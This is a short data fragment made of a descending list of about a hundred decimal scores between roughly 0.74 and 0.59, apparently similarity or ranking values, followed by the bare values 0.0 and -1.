[ "0.7439759", "0.7299999", "0.71205014", "0.70917475", "0.70120734", "0.6985847", "0.6923788", "0.6901316", "0.6824923", "0.6807382", "0.67778", "0.67037565", "0.6689649", "0.6680687", "0.6680687", "0.66016203", "0.65766484", "0.6542171", "0.65369105", "0.6534844", "0.6532073", "0.6526435", "0.64912915", "0.64759195", "0.6470775", "0.6469651", "0.6451779", "0.64116", "0.640009", "0.6389747", "0.6368333", "0.63350755", "0.63350755", "0.6304085", "0.62919796", "0.62919796", "0.62919796", "0.62919796", "0.62919796", "0.62919796", "0.62919796", "0.62919796", "0.62919796", "0.62919796", "0.62919796", "0.62919796", "0.6285967", "0.62643546", "0.6246441", "0.6230551", "0.6214299", "0.62009436", "0.62008965", "0.6189725", "0.6189725", "0.6189725", "0.6189725", "0.6183725", "0.61813194", "0.61793965", "0.61448044", "0.6138676", "0.61366177", "0.6130648", "0.6118736", "0.6115148", "0.6111717", "0.6098587", "0.60892504", "0.60794556", "0.6067416", "0.6066897", "0.60668343", "0.6061999", "0.60556376", "0.6055392", "0.60421985", "0.6036897", "0.60366607", "0.6036594", "0.60261595", "0.601942", "0.60194176", "0.6007416", "0.6001338", "0.5993734", "0.5993256", "0.59901994", "0.59900576", "0.5987736", "0.59873366", "0.59867036", "0.59855705", "0.59815615", "0.5977585", "0.5973623", "0.59683263", "0.59580135", "0.59580135", "0.595312", "0.5949473" ]
0.0
-1